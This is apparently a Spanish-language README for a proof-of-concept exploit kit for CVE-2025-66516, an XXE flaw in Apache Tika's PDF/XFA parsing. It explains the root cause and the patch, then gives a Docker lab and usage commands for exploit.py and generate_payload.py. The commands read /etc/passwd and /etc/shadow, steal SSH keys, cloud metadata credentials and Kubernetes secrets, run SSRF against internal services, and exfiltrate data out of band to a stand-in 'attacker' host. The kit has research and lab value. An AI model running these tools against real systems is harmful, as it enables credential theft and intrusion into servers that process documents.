
CVE-2025-66516 exploit funcional, escáner, explicación.
CVE-2025-66516 es una vulnerabilidad crítica de inyección de XML External Entity (XXE) en Apache Tika con una puntuación CVSS de 10.0 (severidad máxima). La vulnerabilidad permite a atacantes remotos leer archivos arbitrarios, realizar Server-Side Request Forgery (SSRF) y exfiltrar datos sensibles mediante la subida de un documento PDF especialmente diseñado que contiene contenido XFA (XML Forms Architecture) malicioso.
| Atributo | Valor |
|---|---|
| ID CVE | CVE-2025-66516 |
| Puntuación CVSS | 10.0 (Crítica) |
| Divulgado | 4 de diciembre de 2025 |
| Vendedor | Apache Software Foundation |
| Producto afectado | Apache Tika |
| Vector de ataque | Red (Remoto) |
| Autenticación | No Requerida |
| Componente | Versiones Vulnerables | Versión Corregida |
|---|---|---|
| tika-core | 1.13 - 3.2.1 | 3.2.2+ |
| tika-parser-pdf-module | 2.0.0 - 3.2.1 | 3.2.2+ |
| tika-parsers | 1.13 - 1.28.5 | 2.0.0+ |
Importante: Este CVE reemplaza a CVE-2025-54988, que identificó incorrectamente solo el módulo PDF como vulnerable. La vulnerabilidad real reside en tika-core.
La vulnerabilidad es un fallo de inyección de XML External Entity (XXE) en la forma en que Apache Tika procesa datos XFA (XML Forms Architecture) dentro de documentos PDF.
El Problema: Tika depende de analizadores XML de Java subyacentes (específicamente un analizador StAX) para leer contenido XML XFA. Las versiones vulnerables no configuraron correctamente el analizador para deshabilitar la resolución de entidades externas. Cuando el analizador encuentra una solicitud de entidad externa (como SYSTEM "file:///etc/passwd"), la resuelve y devuelve el contenido del archivo.
Ubicación: El error existe en XMLReaderUtils.getXMLInputFactory() en tika-core:
public static XMLInputFactory getXMLInputFactory() {
XMLInputFactory factory = XMLInputFactory.newFactory();
tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // <-- Ineficaz
return factory;
}
IGNORING_STAX_ENTITY_RESOLVER tenía la intención de bloquear XXE devolviendo un resultado vacío, pero devolvía un String en lugar del InputStream esperado. El analizador StAX predeterminado del JDK ignoró silenciosamente este tipo de retorno incorrecto y recurrió al comportamiento predeterminado, que resuelve entidades externas.
La corrección deshabilita explícitamente el soporte de DTD y entidades externas a nivel de fábrica:
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
Además, el resolvedor se cambió para devolver un tipo InputStream adecuado.
En el ecosistema Java, existen múltiples bibliotecas de analizadores XML. Las aplicaciones utilizan el analizador que esté configurado o que se encuentre primero en el classpath.
¿Qué es Woodstox? Woodstox es un analizador XML StAX de alto rendimiento y código abierto, comúnmente incluido en aplicaciones Java.
Cómo proporciona protección: Por diseño (no por accidente), la implementación de Woodstox maneja correctamente el tipo de retorno de XMLResolver. Cuando Woodstox recibe el valor de cadena devuelto por IGNORING_STAX_ENTITY_RESOLVER, lo trata como contenido vacío válido, bloqueando efectivamente el XXE.
Distinción crítica:
tika-server-standard.jar incluye Woodstox - NO VULNERABLEtika-core + módulos de analizadores (uso embebido) NO incluye Woodstox - VULNERABLE# 1. Iniciar el entorno de laboratorio
docker-compose up -d --build
# 2. Probar contra Tika vulnerable (JDK StAX, puerto 9997)
python poc/exploit.py --url http://localhost:9997 --check
# 3. Extraer /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd
# 4. Comparar con Tika protegido (Woodstox, puerto 9998)
python poc/exploit.py --url http://localhost:9998 --check
CVE-2025-66516/
|-- docker-compose.yml # Orquestación del laboratorio
|-- vulnerable-tika/
| |-- Dockerfile # Tika con Woodstox (protegido)
| +-- Dockerfile.jdk-stax # Tika sin Woodstox (VULNERABLE)
|-- webapp/
| |-- Dockerfile
| |-- app.py # Aplicación Flask de subida
| +-- templates/
|-- poc/
| |-- exploit.py # Herramienta de explotación automatizada
| +-- generate_payload.py # Generador de PDF malicioso
+-- README.md
| Servicio | Puerto | Descripción |
|---|---|---|
| Aplicación Web | 8080 | Frontend de subida de documentos |
| Tika (Woodstox) | 9998 | Protegido - NO vulnerable |
| Tika (JDK StAX) | 9997 | VULNERABLE - Sin Woodstox |
| Oyente Atacante | 9999 | Servidor HTTP para pruebas OOB |
docker-compose up -d --build
exploit.py)Explotación de cadena completa con generación automática de payload y extracción de datos.
# Verificar si el objetivo es vulnerable
python poc/exploit.py --url http://target:9998 --check
# Leer archivos locales
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow
# Robo de metadatos AWS (instancias EC2)
python poc/exploit.py --url http://target:9998 --aws-metadata
# Secretos de Kubernetes
python poc/exploit.py --url http://target:9998 --k8s-secrets
# SSRF a servicios internos
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin
# Guardar datos extraídos
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt
generate_payload.py)Genera archivos PDF maliciosos para pruebas manuales o integración con otras herramientas.
# Generar payload para un archivo específico
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf
# Generar payload SSRF
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf
# Generar payload de exfiltración OOB
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf
# Usar modos de ataque predefinidos
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/
# Listar modos de ataque disponibles
python poc/generate_payload.py --list-modes
Modos de Ataque Disponibles:
file_read - Leer archivos locales (/etc/passwd, /etc/shadow, etc.)ssh_keys - Robar claves privadas SSHaws_metadata - Metadatos de AWS EC2 y credenciales IAMgcp_metadata - Tokens de cuentas de servicio GCPazure_metadata - Tokens de identidad administrada de Azurek8s_secrets - Credenciales de cuentas de servicio de Kuberneteswebapp_configs - Configuraciones comunes de aplicaciones webssrf_internal - Sondear servicios internosPruebas contra Tika 2.9.2 sin Woodstox (simulando despliegues embebidos):